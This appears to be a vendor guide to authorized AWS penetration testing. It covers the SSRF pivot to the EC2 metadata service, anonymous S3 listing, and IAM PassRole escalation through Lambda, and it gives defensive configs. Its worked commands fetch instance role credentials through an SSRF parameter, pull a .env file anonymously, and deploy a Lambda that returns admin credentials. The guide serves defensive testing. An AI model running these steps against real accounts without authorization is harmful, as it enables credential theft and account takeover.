
Since March 2019, AWS lets you penetration test eight categories of your own resources without filing anything in advance. That single policy change turned cloud pentesting from a two-week approval queue into something you can kick off the same morning, provided you stay on your side of the shared-responsibility line and avoid the still-gated tests like DDoS and stress simulation.
This guide is built around the two attack paths that produce the overwhelming majority of AWS criticals (the metadata SSRF pivot and IAM privilege escalation) and shows the actual command output you read at each step, a sample findings table from a report, and the configuration that closes each gap. Written authorization from the account owner is assumed throughout.
AWS permits customer-initiated testing of eight service categories with no advance notice: EC2 (including NAT gateways and Elastic Load Balancers), RDS, CloudFront, Aurora, API Gateway, Lambda and Lambda@Edge, Lightsail, and Elastic Beanstalk. You test the resources you own and the configuration you control. Everything below the service boundary belongs to AWS.
Several activities are still prohibited or need a separate request. DNS zone walking of Route 53, port flooding, protocol flooding, and request (login/API) flooding are banned outright. Simulated events that mimic real attacks (DDoS, stress tests, large-scale red team traffic against managed control planes) require approval through the AWS Simulated Events form, which usually clears in a few business days. Record that approval reference in your rules of engagement so the blue team and AWS Trust and Safety can correlate your traffic if alarms fire.
One nuance trips people up: the eight categories cover the resources you run, not AWS-managed control-plane endpoints. Brute-forcing the STS or IAM API, hammering KMS, or attacking Cognito as a service is not the same as testing your app that happens to call them. Throttle your tooling so it never looks like a flood. The first move on any engagement is confirming the identity you operate as, because every later finding is scoped to it. Cloud engagements differ from traditional ones in ways we cover in what to expect from a cloud penetration test.
$ aws sts get-caller-identity
{
"UserId": "AIDA4XMPL2QK7EXAMPLE",
"Account": "111122223333",
"Arn": "arn:aws:iam::111122223333:user/ci-deployer" <- you are a low-priv CI user, not an admin
}That Arn is your starting blast radius. From here, everything is about how far ci-deployer can reach.
Server-side request forgery against the EC2 metadata service at 169.254.169.254 is the single most impactful AWS attack path. If an application on an instance can be coerced into fetching an attacker-controlled URL, you point it at the IAM credentials path and receive temporary keys for the instance role. On an instance still allowing IMDSv1, that is a single GET through the SSRF parameter:
$ curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
web-instance-role <- the role name leaks first
$ curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-instance-role"
{
"Code": "Success",
"AccessKeyId": "ASIA4XMPLTOKENONLY",
"SecretAccessKey": "wJalrXUtn...EXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjE...", <- session token = you are now web-instance-role
"Expiration": "2026-06-03T18:21:00Z"
}Export those three values and the AWS CLI treats you as the instance role. IMDSv2 breaks this because it requires a PUT to mint a session token first, and that token must ride in a header on every call. Most SSRF primitives only issue GETs, so they never get past the PUT:
$ TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
$ curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
web-instance-role <- only works because we could send a PUTSo your first metadata test is not the exploit, it is the question of which version is enforced. The SSRF mechanics themselves carry over from web testing, covered in our SSRF testing guide.
S3 and IAM are where most AWS findings live, and of the two, IAM is what separates a finding list from an account takeover. On S3, the fastest check is anonymous access with --no-sign-request, which tells you in one line whether a bucket policy or ACL is open to the world:
$ aws s3 ls s3://acme-prod-assets --no-sign-request
2026-05-29 09:14:02 4821 config.json
2026-05-29 09:14:02 188204 backup-2026-05.sql.gz <- a database dump, world-readable
2026-05-29 09:14:03 612 .env
$ aws s3 cp s3://acme-prod-assets/.env . --no-sign-request # pull it down anonymouslyAccount-level Block Public Access overrides permissive bucket policies, so confirm whether it is on before you call a bucket exploitable. A common false negative is a bucket that looks private to aws s3 ls with signed creds but is wide open anonymously, which is exactly why you re-test with --no-sign-request rather than trusting the console. IAM escalation is subtler. Permissions like iam:CreatePolicyVersion, iam:PassRole with a service that assumes roles, iam:AttachUserPolicy, and sts:AssumeRole against an over-permissive trust policy each form a documented escalation chain. There are roughly two dozen known paths, so map them rather than guess:
enumerate-iam --access-key ASIA... --secret-key ....pmapper graph create then pmapper query "who can do iam:* with *".iam__privesc_scan module.The single most common false positive here is treating a scoped-looking role as safe. A role with no admin policy can still hold iam:PassRole on an admin role, which is the chain in the next section. To practice this safely without touching production, stand up the deliberately vulnerable CloudGoat scenarios in a throwaway account; they reproduce the IMDS, S3, and PassRole paths above with real but disposable resources.
The cleanest end-to-end AWS escalation is iam:PassRole plus lambda:CreateFunction and lambda:InvokeFunction. Even though you can never assume the admin role directly, you can hand it to a Lambda you create, and Lambda runs your code as that role. First find an admin-grade role your identity is allowed to pass:
$ aws iam list-roles --query 'Roles[].RoleName' --output text
ci-deployer-role s3-readonly-role admin-automation-role <- the prize
$ aws iam list-attached-role-policies --role-name admin-automation-role
{"AttachedPolicies": [{"PolicyName": "AdministratorAccess", ...}]} <- full adminThen deploy a function that returns its own environment credentials and pass the admin role to it:
$ zip function.zip index.py # handler returns os.environ['AWS_*']
$ aws lambda create-function --function-name pt-escalate \
--runtime python3.12 --handler index.handler \
--role arn:aws:iam::111122223333:role/admin-automation-role \
--zip-file fileb://function.zip
$ aws lambda invoke --function-name pt-escalate out.json
$ cat out.json
{"AWS_ACCESS_KEY_ID": "ASIA...ADMIN", "AWS_SECRET_ACCESS_KEY": "...",
"AWS_SESSION_TOKEN": "..."} <- temporary creds for admin-automation-roleYou have escalated from a single function-create permission to full admin, without ever holding an admin policy. The defensive lesson is to scope iam:PassRole with a condition naming exactly which roles a principal may pass, and never attach broad roles to compute that low-tier identities can create.
Most AWS criticals are not a single CVE; they are three mediums chained into account compromise, which is exactly what a posture scanner cannot see. On a recent assessment of a media company's image-processing platform, the entry point was a low-severity SSRF in a resize feature. The instance still allowed IMDSv1, its role held s3:GetObject on every bucket, and one of those buckets held a service-account key with iam:PassRole on an admin role. Three findings that each looked moderate in isolation chained into full account takeover in under an hour.
The findings table below is the report excerpt that proves that chain. The remediation for every row is config, not advice. Enforce IMDSv2 so the metadata GET never returns credentials: aws ec2 modify-instance-metadata-options --instance-id i-0abc --http-tokens required --http-endpoint enabled. Block public storage at the account level so a single bad bucket policy cannot expose data. Scope iam:PassRole with a condition, and deny the riskiest IAM writes org-wide with a service control policy:
{
"Sid": "DenyIamPrivescWrites",
"Effect": "Deny",
"Action": ["iam:CreatePolicyVersion", "iam:AttachUserPolicy",
"iam:PutUserPolicy", "iam:CreateAccessKey"],
"Resource": "*",
"Condition": {"StringNotEquals": {"aws:PrincipalArn":
"arn:aws:iam::111122223333:role/iam-admin"}}
}Run posture discovery first with Prowler (prowler aws --severity high critical) and ScoutSuite (scout aws) to surface public buckets, disabled logging, and weak IAM, then use Pacu and pmapper for the exploitation a scanner misses. The argument for doing this on a schedule instead of once a year is agentic, continuous pentesting, and findings should feed your cloud security posture checklist.